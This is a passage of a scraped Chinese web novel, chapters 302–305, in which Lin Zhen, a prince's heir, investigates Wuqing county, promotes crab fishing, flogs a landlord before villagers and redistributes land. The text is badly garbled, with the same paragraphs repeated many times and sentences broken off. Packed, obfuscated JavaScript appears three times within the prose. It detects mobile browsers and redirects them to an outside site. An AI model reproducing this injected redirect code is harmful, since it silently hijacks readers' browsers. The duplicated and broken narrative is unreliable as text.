林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032613|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 第302章 巨鱼死王侯毖 孙平落后林臻一个身位,两人走在最前面,身后跟着一众县衙官吏,招摇过市行至县衙门口。 衙役们赶忙上前牵过马车,车帘一掀,浣碧轻盈地跳了下来。 她身着一袭素色衣衫,未施粉黛,却难掩其绝美的脸庞。 孙平和其他官吏都未曾见过她,可瞧这架势,又见林臻神色间的些许关切,心中便知晓几分。 这肯定是林臻的内人。 人都说皇帝身边的太监比巡抚大。 那林臻身边的丫鬟也不是普通人,自然得罪不得。 孙平率先作揖,表达尊敬,其余官吏则纷纷挂上笑容,客客气气地朝着浣碧点头示意。 浣碧也不怯场,嘴角微微上扬,回以众人一抹浅笑,莲步轻移,跟在林臻身后进了县衙。 踏入县衙中堂,众人这才稍稍歇下脚步。 孙平轻轻拍了拍身上的尘土,微微欠身看向林臻:“世子,这一路舟车劳顿,您想必也累坏了,不知吃没吃饭?要不先歇一歇,吃口热乎饭再议事?” 他的语气带着几分关切,又透着下属对上司的敬重。 林臻微微摆手,“不必,先把最近几年的县志拿来我看。” 孙平见状,递给师爷一个眼神。 后者会意,立刻把早就准备好的县志命人搬进来。 孙平弯腰捡起最近一年的县志,递给林臻。 “世子,这是最近一年的,您先看看。”孙平动作十分坦然,没有丝毫藏着掖着,这令林臻好感大增。 林臻接过县志翻看,起初神色还算平静,可连续翻了几本后,眉头越皱越紧,表情愈发沉重。 良久,才声音低沉地质问道:“孙平,武清县这些年风调雨顺,连年大熟,可为何百姓依旧每日只吃两顿饭,还动不动就食不果腹?这究竟是为何?” 中堂内的气氛瞬间凝重起来,众人的目光齐刷刷地投向孙平。 孙平微微叹气,上前一步,抱拳说道:“世子,这连年大熟确是实情,可问题就出在这土地上。咱们武清县的百姓,大多都是给地主种地的佃户,一年到头辛苦劳作,收成的大头都被地主拿走了,自己所剩无几,能勉强维持两顿粗粮,已是不易,吃不饱更是常事。” “真是岂有此理。” 林臻早知道地主会鱼肉百姓,所以他这次来武清就是准备把这里当试点,实行计划经济。 当然,这种计划经济与后世是有区别的,具体等实施的时候再告诉孙平。 思来想去,林 臻神色一凛。 “猴子!” “在!”侯春立刻站在林臻身后回答。 “龙骧营到哪了?” “回世子,龙骧营是在我们出发后第二天出发的,想来后天能进驻武清县。” “很好。”林臻转身看向所有人,“我准备除掉武清县所有地主,给百姓重新分田地。你们任何人不得走漏消息,如果让我发现有地主逃跑,你们所有人连坐。” 孙平自己就是寒门出身,自然支持这样的决定,只是以前他人微言轻,那些地主也不听他的,如今有这样的机会当然不会放过。 “世子英明!这些鱼肉百姓的地主早就该铲除了!” 随后县衙、主簿,师爷等官员,也纷纷点头:“都听世子吩咐。” “唔,”林臻这才心情稍缓,又问道:“对了孙平,我们武清县靠海,却甚少听闻水产之事,这是为何?百姓不会捕鱼吗?如果会捕鱼也不应该会饿肚子啊。” 孙平赶忙应道:“世子,武清县虽沿海,可水产一直并不兴旺。一来,海边风浪大,出海捕鱼风险极高;二来,前些年来有百姓捕捞到一条大鱼,当时有朝廷里的官差来,说什么巨鱼死,王侯毖,于是当天就把那个百姓斩了。百姓们心有余悸,所以不敢再下海捕鱼。久而久之,这渔业也就荒废了。” “什么巨鱼死王侯毖?扯淡。从明日起,你安排人手,以官府的名义组织百姓下海捕鱼、捕虾、抓螃蟹。捕到的海货可以自己吃,也可以卖给我,螃蟹一文钱一只,鱼类虾类另算。” 京城 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但没想到,林臻随手就拿起来一个,用小榔头捶捶蟹盖,再用小剪刀剪掉螃蟹腿,沾点香醋,芝麻油,一口一口吃得津津有味。 “你们快吃啊,看我做什么?真的很好吃!” 林臻都快香迷糊了。 在后世,即便吃肉最多的帝王蟹也没有这种酣畅淋漓的感觉。 孙平他们见林臻吃得过瘾,也将信将疑地拿起一只大螃蟹,学林臻的样子敲敲蟹盖,剪掉蟹腿。 直到那白花花的肉往嘴里一放! “嗯!世子诚不欺我,这螃蟹果然美味啊!” “是啊,这也太好吃了吧?” “以前怎么就没发现呢?那年闹饥荒的时候,我可是吃了半年的野菜!” “好吃好吃!不行,明天就得告诉百姓,捕捉螃蟹!随便抓,抓到可以卖也可以自己吃!” “武清县以后再无饥饿之忧呀!” “哈哈哈哈哈。” 第303章 全球变暖怪我? 其实吃螃蟹也有诸多的说法。 你们后世人动不动就减肥,三顿四顿不吃也不饿,但是在古代,一顿不吃就饿得慌。 这是为什么呢?因为肚子里没油水,说白了就是脂肪太少。 而海鲜类大部分都是蛋白质,没有多少热量,在不吃油水的前提下,蛋白质这东西会越吃越饿。 不过这对京城里的那些达官显贵来说,就不存在越吃越饿的事情。他们会对好的,稀有的东西趋之若鹜。 这种大螃蟹林臻一文钱一个收,带回京城去就两百文钱一斤,稳赚不赔。 而且螃蟹生存能力也强,几天不吃不喝也不会死,不用担心不新鲜的问题。 酒足饭饱,孙平问道:“世子,您规划的工业区已经整理好了,下官冒昧地问一句,什么时候才能开张?” “别急,事情得一个一个干,那几万俘虏呢?” “下官已经按照您的指示,派他们去修路了,目前进展得还不错。” “嗯,那就先修着,工业区里的水泥窑怎么样了?” “目前有二十座水泥窑,目前只有五座在生产,用来修路。” “唔,从俘虏里挑选干活勤快,任劳任怨的壮丁一千人,去水泥窑上工,告诉他们,只要不犯错误,按部就班地干活,我们不仅供饭,而且三年后就放他们自由。” “啊?”孙平惊讶的张大嘴,“放他们自由?世子,那可都是战犯!” “战犯也是我们汉人,没必要那么苛待,该给的福利还是要给的。再说你以为三年后他们还会走吗?在我这干活,供吃供住还给钱,这么好的事情打着灯笼也没地方找啊。” “这倒也是.但我们是不是应该把南楚的俘虏和主动来上工的百姓分开管理?” “不用,我们汉族人民是很善良的,尤其在对待自己同胞这个问题上。国家与国家之间的摩擦,不是百姓的错,只要是华夏子孙,都应该相互包容。” 孙平佩服地点点头,对林臻满脸崇拜。 “不愧是世子,说的话就是引人深思,下官佩服。” 酒席散去之前,林臻又安排了关于修路的各种规划,包括不能虐待俘虏,要保证一日三餐,谨防疫病,孙平等人连连称是,不在话下。 两天后龙骧营如期进驻武清县开发区。 这座开发区在离海岸十公里的位置,以前是一片荒地,因为靠海所以土壤里盐碱较大,没有村民选择在这里开垦。 这就正中林臻下怀。 与孙平 书信商讨过后,便直接就圈了下来,派士兵进驻看守,另外又张贴告示从武清附近的郡县招募工匠,薪水待遇优厚。 等一系列准备就绪后,这里已经焕然一新,像水泥窑、砖窑、冶铁作坊,香水,蒸馏酒等产业都相继搬了过来,所产生的废物、废水直接就往渤海湾里扔。 这时代可没人提倡环保,林臻也不打算干那种造人诟骂的事情。 老百姓饭都吃不上呢,还环什么保啊?曾经那个世界,5%的富人创造了全球95%的污染,然后把剩下的5%让百姓均摊。 这正应了那句话。 滔天富贵没有我,全球变暖反而怪我。 某品牌买手机不送充电器,美名其曰环保,然后把充电器单买,部分舔狗还觉得很合理。 隔壁小日子核废水排海也没见那些环保人士站出来所有作为。 所以说嘛,很多事情都是上位者编造出来制衡老百姓的。 就像那句著名广告词一样:没有买卖,就没有杀害。 没错,话说得特别好,林臻曾经参加基层工作的时候也对村民宣传过。 但仔细想想,那些虎鞭、鱼翅、犀牛角,穿山甲之类的东西,是给老百姓吃的吗?如果不是为什么要说给我们听呢? 嗐。 说这些都没有用,咱们还是该干啥干啥比较好。 至于说海边的鱼还能不能吃那肯定能吃啊。 核废水排海也没耽误吃海鲜,更何况只是些沙土废料。 今天林臻没去开发区,而是带着龙骧营,直扑武清县第一大家族——程家。 这程家在武清县盘踞多年,据说在郡里、京城都有人脉关系。名下田产无数,家奴成群,平日里作威作福,百姓们敢怒不敢言。 如今,林臻就要拿他们开刀,为武清县的变革,打响第一枪。 程家府邸,朱门高筑,雕梁画栋,尽显奢华。而周围村民的房子都是破破烂烂的,有的墙面还露着大窟窿,与程家形成鲜明对比。 林臻站在门口时不禁感叹。 这老百姓都不造反,已经算很给朝廷面子了。 “世子,我们直接冲进去吧。”龙骧营统领莫酆跃跃欲试,摩拳擦掌。 侯春很不喜欢这个人,但也没多说什么。 林臻摆了摆手。 “不急,围住府邸,先去叫门。” “是!” 听闻外面喧闹,管家匆匆跑出大门,见林臻带着大批官兵而来,还很迅速的将府邸包围住,脸色 瞬间变得惨白。 “这位大人,您这是.” 管家根本不认识林臻。 却见林臻面色冷峻,目光如刀:“我乃王府世子,林臻。奉朝廷旨意,清查武清县土地兼并、鱼肉百姓之事,您家主子何在?还不速速出来见我!” 管家吓得双腿发软,却还想拖延:“大人,我家老爷今日外出访友,尚未归来.” “哼,不必狡辩,给我搜!” 林臻一声令下,龙骧营将士如狼似虎,涌入程家府邸。 一时间,府邸内鸡飞狗跳,哭喊声、求饶声不绝于耳。 不多时,程家老爷子被五花大绑地带了出来。 这程老爷子平日里养尊处优惯了,此刻却面如土色,见到林臻,还想强装镇定:“世子爷,您这是何意?我程家可是一直是良善人家啊!” “良善?呵呵呵呵。”林臻怒极反笑,“你看看武清县的百姓,被你们这些地主压榨成什么样了!今日,便是你程家偿还罪孽之时!” 说着,他转头看向身后的武清县师爷:“师爷,带人清点程家田产、财物,一一登记造册,不得有误!” “是!” 师爷领命而去,程老爷子见状,吓得浑身直哆嗦。 可林臻最后一句话更是让他如坠冰窟。 “把周遭百姓们都叫过来,有仇报仇,有冤伸冤。” “是!” 瞬间变得惨白。 “这位大人,您这是.” 管家根本不认识林臻。 却见林臻面色冷峻,目光如刀:“我乃王府世子,林臻。奉朝廷旨意,清查武清县土地兼并、鱼肉百姓之事,您家主子何在?还不速速出来见我!” 管家吓得双腿发软,却还想拖延:“大人,我家老爷今日外出访友,尚未归来.” “哼,不必狡辩,给我搜!” 林臻一声令下,龙骧营将士如狼似虎,涌入程家府邸。 一时间,府邸内鸡飞狗跳,哭喊声、求饶声不绝于耳。 不多时,程家老爷子被五花大绑地带了出来。 这程老爷子平日里养尊处优惯了,此刻却面如土色,见到林臻,还想强装镇定:“世子爷,您这是何意?我程家可是一直是良善人家啊!” “良善?呵呵呵呵。”林臻怒极反笑,“你看看武清县的百姓,被你们这些地主压榨成什么样了!今日,便是你程家偿还罪孽之时!” 说着,他转头看向身后的武清县师爷:“师爷,带人清点程家田产、财物,一一登记造册,不得有误!” “是!” 师爷领命而去,程老爷子见状,吓得浑身直哆嗦。 可林臻最后一句话更是让他如坠冰窟。 “把周遭百姓们都叫过来,有仇报仇,有冤伸冤。” “是!” 瞬间变得惨白。 “这位大人,您这是.” 管家根本不认识林臻。 却见林臻面色冷峻,目光如刀:“我乃王府世子,林臻。奉朝廷旨意,清查武清县土地兼并、鱼肉百姓之事,您家主子何在?还不速速出来见我!” 管家吓得双腿发软,却还想拖延:“大人,我家老爷今日外出访友,尚未归来.” “哼,不必狡辩,给我搜!” 林臻一声令下,龙骧营将士如狼似虎,涌入程家府邸。 一时间,府邸内鸡飞狗跳,哭喊声、求饶声不绝于耳。 不多时,程家老爷子被五花大绑地带了出来。 这程老爷子平日里养尊处优惯了,此刻却面如土色,见到林臻,还想强装镇定:“世子爷,您这是何意?我程家可是一直是良善人家啊!” “良善?呵呵呵呵。”林臻怒极反笑,“你看看武清县的百姓,被你们这些地主压榨成什么样了!今日,便是你程家偿还罪孽之时!” 说着,他转头看向身后的武清县师爷:“师爷,带人清点程家田产、财物,一一登记造册,不得有误!” “是!” 师爷领命而去,程老爷子见状,吓得浑身直哆嗦。 可林臻最后一句话更是让他如坠冰窟。 “把周遭百姓们都叫过来,有仇报仇,有冤伸冤。” “是!” 瞬间变得惨白。 “这位大人,您这是.” 管家根本不认识林臻。 却见林臻面色冷峻,目光如刀:“我乃王府世子,林臻。奉朝廷旨意,清查武清县土地兼并、鱼肉百姓之事,您家主子何在?还不速速出来见我!” 管家吓得双腿发软,却还想拖延:“大人,我家老爷今日外出访友,尚未归来.” “哼,不必狡辩,给我搜!” 林臻一声令下,龙骧营将士如狼似虎,涌入程家府邸。 一时间,府邸内鸡飞狗跳,哭喊声、求饶声不绝于耳。 不多时,程家老爷子被五花大绑地带了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却见林臻面色冷峻,目光如刀:“我乃王府世子,林臻。奉朝廷旨意,清查武清县土地兼并、鱼肉百姓之事,您家主子何在?还不速速出来见我!” 管家吓得双腿发软,却还想拖延:“大人,我家老爷今日外出访友,尚未归来.” “哼,不必狡辩,给我搜!” 林臻一声令下,龙骧营将士如狼似虎,涌入程家府邸。 一时间,府邸内鸡飞狗跳,哭喊声、求饶声不绝于耳。 不多时,程家老爷子被五花大绑地带了出来。 这程老爷子平日里养尊处优惯了,此刻却面如土色,见到林臻,还想强装镇定:“世子爷,您这是何意?我程家可是一直是良善人家啊!” “良善?呵呵呵呵。”林臻怒极反笑,“你看看武清县的百姓,被你们这些地主压榨成什么样了!今日,便是你程家偿还罪孽之时!” 说着,他转头看向身后的武清县师爷:“师爷,带人清点程家田产、财物,一一登记造册,不得有误!” “是!” 师爷领命而去,程老爷子见状,吓得浑身直哆嗦。 可林臻最后一句话更是让他如坠冰窟。 “把周遭百姓们都叫过来,有仇报仇,有冤伸冤。” “是!” 瞬间变得惨白。 “这位大人,您这是.” 管家根本不认识林臻。 却见林臻面色冷峻,目光如刀:“我乃王府世子,林臻。奉朝廷旨意,清查武清县土地兼并、鱼肉百姓之事,您家主子何在?还不速速出来见我!” 管家吓得双腿发软,却还想拖延:“大人,我家老爷今日外出访友,尚未归来.” “哼,不必狡辩,给我搜!” 林臻一声令下,龙骧营将士如狼似虎,涌入程家府邸。 一时间,府邸内鸡飞狗跳,哭喊声、求饶声不绝于耳。 不多时,程家老爷子被五花大绑地带了出来。 这程老爷子平日里养尊处优惯了,此刻却面如土色,见到林臻,还想强装镇定:“世子爷,您这是何意?我程家可是一直是良善人家啊!” “良善?呵呵呵呵。”林臻怒极反笑,“你看看武清县的百姓,被你们这些地主压榨成什么样了!今日,便是你程家偿还罪孽之时!” 说着,他转头看向身后的武清县师爷:“师爷,带人清点程家田产、财物,一一登记造册,不得有误!” “是!” 师爷领命而去,程老爷子见状,吓得浑身直哆嗦。 可林臻最后一句话更是让他如坠冰窟。 “把周遭百姓们都叫过来,有仇报仇,有冤伸冤。” “是!” 第304章 这是第三百零四章 林臻在原地负手而立,浑身杀意很重, 不一会儿,侯春便带着程家雇佣的村民、佃户走了出来,周边闻讯而来的百姓也蜂拥而至,一时间,程家大门口熙熙攘攘,人满为患。 他们的目光扫过空地上那队列整齐的龙骧营士兵,惊讶道。 “这是哪来的这么多当兵的啊?” “不知道啊,看这军容不像是咱本地的驻军,莫不是上头专门派来?” “咱们县可好久没见过这阵仗了。” “你们瞧,那军旗上写着‘龙骧’二字!应该是传说中的龙翔营!” “龙骧营是啥?” “这你都不知道啊?” 队伍中有几个曾在外闯荡过的,便开始给大伙讲起龙骧营的赫赫威名,什么征战沙场、屡立战功之类的,听得众人心中又是敬佩又是期待。 林臻站在门口,用最大声音对众人喊道。 “各位乡亲父老!我乃摄政王府世子林臻!今日把大家叫来,是因我听闻程家在武清县作威作福,横行霸道,鱼肉乡里。请大家勇敢站出来指认。我林臻保证会还你们一个公道!” 台下的百姓们面面相觑,竟无一人敢率先发声。 沉默许久,一个老头才压低声音,对着身边的人说道。 “咱可不敢轻易出这头啊。这程家在咱县里只手遮天,万一今天得罪了他,等世子爷一走,程家肯定会变本加厉的对付我们。” 他的话引起其他村民的共鸣,也纷纷说道。 “是啊。这程家向来睚眦必报,到时候给咱们来一手秋后算账,我们可咋活啊。” “这程老爷子心狠手辣,平日里看谁不顺眼,就往死里整。咱村里的老陈,不小心冲撞了他家的马车,就被护院打折了腿,现在还下不了地呢。” “还有那李寡妇,程家为了占她家的地,硬是诬陷她偷东西,把她关在柴房里饿了好几天,差点连命都没了。咱这小平头百姓,哪能斗得过他啊。” 众人纷纷点头,眼中满是担忧与畏惧,交头接耳间尽是对程家的恐惧。 林臻见状大家窃窃私语,就是没人肯站出来,便说道:“诸位放心,我林臻以王府世子的名头作保,只要你们的指认有理有据,我就杀了这恶贼!让大家没有后顾之忧!” 这时人群中有一位衣衫褴褛、满面沧桑的老汉。 只见他浑身激动地微微颤抖,似是下了极大的决心,缓缓迈出脚步。 “诶诶诶,老刘,你别去啊!” “别去 啊他们官官相护这种话可不能信!” “快回来!” 老刘走到林臻面前“扑通”一声跪在地上老泪纵横。 “世子爷求您为老汉做主!” 林臻赶忙上前搀扶:“老人家快快请起有何冤屈但说无妨。” 老汉手指颤抖地指向程老爷子声泪俱下:“世子爷。这程家老头不是人呐!去年我家闺女给程家送菜被他看上硬是抢进府里给糟蹋了。我那苦命的闺女啊刚刚许了人家就发生这样的事回来没几日便寻了短见!我这后半辈子可咋活啊” 老汉泣不成声。 他的事情在村里不是秘密许多百姓们听后瞬间红了眼眶低声咒骂起来。 林臻怒目圆睁。 他猛地转身从侯春手里接过马鞭对程老爷子怒喝道:“他说的可是真的!?” 程老爷子手脚被捆住想跪地磕头求饶都做不到。 “世子爷我错了我再也不敢了!” 啪—— “啊!!!”一阵杀猪般的惨叫。 程老爷子的脸瞬间扭曲起来豆大的汗珠频频滚落。 “世子爷我不敢了!我真的不敢了!” 跪在程老爷子身后的妻妾、孩子以及家里的亲戚都吓得浑身直哆嗦。 以前程老爷子是村里有名的大地主 谁知道现在被林臻打得像条要死的蛆。 啪—— 啪—— 一鞭又一鞭落在程老爷子身上打得的他皮开肉绽眼泪鼻涕糊得满脸都是。 林臻打累了脱掉外袍交给侯春转过身对着众人喊道。 “从现在开始有仇的报仇有冤的报冤!大家尽管站出来说每说一个我便抽这恶贼一下!” “好!” 见林臻如此强势压抑许久的百姓们纷纷鼓起勇气。 一位年轻后生涨红了脸挤到前面:“世子爷俺来说!俺家本有几亩薄田靠着种地勉强糊口。可程家非说那田是他们的硬生生给霸占了去还把俺爹打伤如今卧床不起!” 林臻手中马鞭再次狠狠落下程老爷子又是一声哀嚎他蜷缩在地求饶道:“世子爷饶命啊小的知错了求您高抬贵手!” “高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刹那间,所有村民仿若被点燃的火焰,齐齐下跪,高喊:“世子爷万岁!” 第305章 分土地,烧卖身契 林臻望着眼前这一张张满是质朴与热切的面庞,眼眶微微泛红。 “乡亲们,大家受苦了!以后武清县将会是一片朗朗乾坤!”林臻挥挥手,指向程家,“抄家!务必清查程家一切不法所得!” “是!” 龙骧营的士兵们得令,迅速行动起来。 一时间,府邸内鸡飞狗跳,呼喊声、器物碰撞声不绝于耳。 程老爷子的家属、亲戚们吓得瑟瑟发抖,女眷们嘤嘤哭声,孩童们也吓得噤若寒蝉。 林臻看着他们,眼中没有一丝怜悯。 这些人平日里仗着程家的权势,哪个不是作威作福,欺压良善?如今是天道轮回,报应不爽。 末了林臻一挥手:“将他们带回县衙,仔细审查,若有牵涉恶行之人,绝不姑息!” “是!” 言罢,林臻面向百姓,朗声道:“诸位乡亲,如果你们还知道程家的什么人为非作歹,或是知道其他不公之事,欢迎来县衙举报,我林臻在此为大家主持公道!” 百姓们闻言,纷纷点头,眼中满是信任与感激。 不多时,一箱箱、一件件程家的财物被士兵们打包整理好,抬到了府邸前的空地上。 师爷带着一众文书,手持笔墨,紧张而有序地记录着每一样物品。 林臻大步走到那堆物品前,从中翻找出一摞摞的卖身契和地契。 他的手有些颤抖。 这些薄薄的冰冷的纸张,承载的是武清县百姓的血泪与苦难。 “乡亲们,现在我就把这些卖身契、地契,全都烧掉!还大家自由!” 说罢,林臻将契约一股脑都扔在地上,又命侯春点燃。 火苗瞬间蹿起,贪婪地吞噬着那些纸张,浓烟滚滚中仿佛驱散了笼罩在武清县上空多年的阴霾。 百姓们先是一愣,随即爆发出一阵欢呼,许多人眼中闪烁着泪花,享受着重获新生的激动。 “老天有眼呐,咱终于熬出头了!” “多谢世子爷,这些卖身契压在咱心头多少年了,如今可算是解脱了。” “世子爷,您就是咱武清县的大恩人!往后,您指东咱绝不往西,水里火里,只要您一声令下,咱绝不含糊!” “是啊,世子爷,没有您,咱这辈子都翻不了身!” “咱武清县有世子爷,是几辈子修来的福气!” 林臻听着这些话语,心中满是感动,眼眶也愈发湿润。 他微微抬手,示意大家安静:“乡亲们, 这都是大家应得的。武清县是咱们共同的家,咱们要齐心协力,一起把它建设好!” “师爷!”林臻看向一旁忙碌的师爷,“你即刻带人前往村里,重新丈量土地,按人头分给百姓,务必做到公平、公正!必须让所有人都有田种,有粮食收!” “是,世子!” 师爷领命,带着几个熟悉丈量事务的文书和一些百姓代表,向着村里快步而去。 处理完契约的事,林臻又将目光投向那堆积如山的金银珠宝、绫罗细软。 这些都是程家从百姓身上搜刮来的民脂民膏,绝不能让它们再躺在这暗无天日的库房里。 “猴子。你挑选几个妥帖的弟兄,将这些财物全都拿到县城里卖了。卖来的钱,用来给百姓重新盖房子!” 侯春抱拳应道:“遵命,属下这就去办。” 在抄家诸事有条不紊地进行之时,林臻并未闲着。 他穿梭在百姓中间,倾听他们的诉求,安抚他们的情绪。 有几位老者拉着林臻的手,泣不成声:“世子爷啊,咱们武清县能有今日,全靠您呐!要不是您,咱们还不知道要被这些恶霸欺压到啥时候。” 林臻轻轻拍着老者的手,温言安慰:“老人家,这是我分内之事。往后的日子,只会越来越好,大家放心。” 另一边,师爷等人来到村里。 村口早已聚集了众多村民,大家眼巴巴地望着,眼中满是期盼。 师爷清了清嗓子,高声道:“各位乡亲,世子有令,今日重新丈量土地,按人头均分,大家莫要着急,都排好队,依次登记。” 村民们闻言,欢呼雀跃,迅速排起了长队。 文书们拿出丈量工具,拉绳、测地,忙得热火朝天。 期间,也有个别村民因土地边界问题产生了些小争执,但在师爷和其他村民的劝解下,很快便达成了和解。 大家都明白,如今的好日子来之不易,不能因一点小事就伤了和气。 林臻到底还是没施行计划经济。 不是这个方案不好,而是现在还不合适。 而且像打地主、打土豪这种事情也得一步一步来。 因为林臻要对抗的不是一户两户,而是整个地主阶级,搞不好这帮人就会造反。 现在国内虽然还有军队,但毕竟还与南楚打着仗呢,这种后院起火的事情尽量能避免,就避免。 所以林臻才整今天这么一出。 他决定在武清县搞个试点,先打一个地主试试看 ,观察观察其他世家和地主反应。 如果没问题,没人敢还手,那就等林震仙的军队回来后继续搞,直到把这些地主都清除出去。 以后整个大乾,就只有林臻这一个地主。 回到县城时已经是傍晚了。 府衙内,林臻正在吃饭,侯春在一边做着汇报。 “世子,属下已将财物典当了大半。这程家果然家底丰厚,光那些珍玩就换了三千多两银子,足够给百姓们盖一批新房了。我已联系了县城里的工匠,他们听闻是给百姓建房,都愿出工,价钱也只要原来的一半!” 林臻微微点头,满意道:“如此甚好,猴子,你这业务能力是越来越强了啊。” 侯春害羞地摸了摸后脑勺:“嘿嘿嘿,都是世子教育的好。” 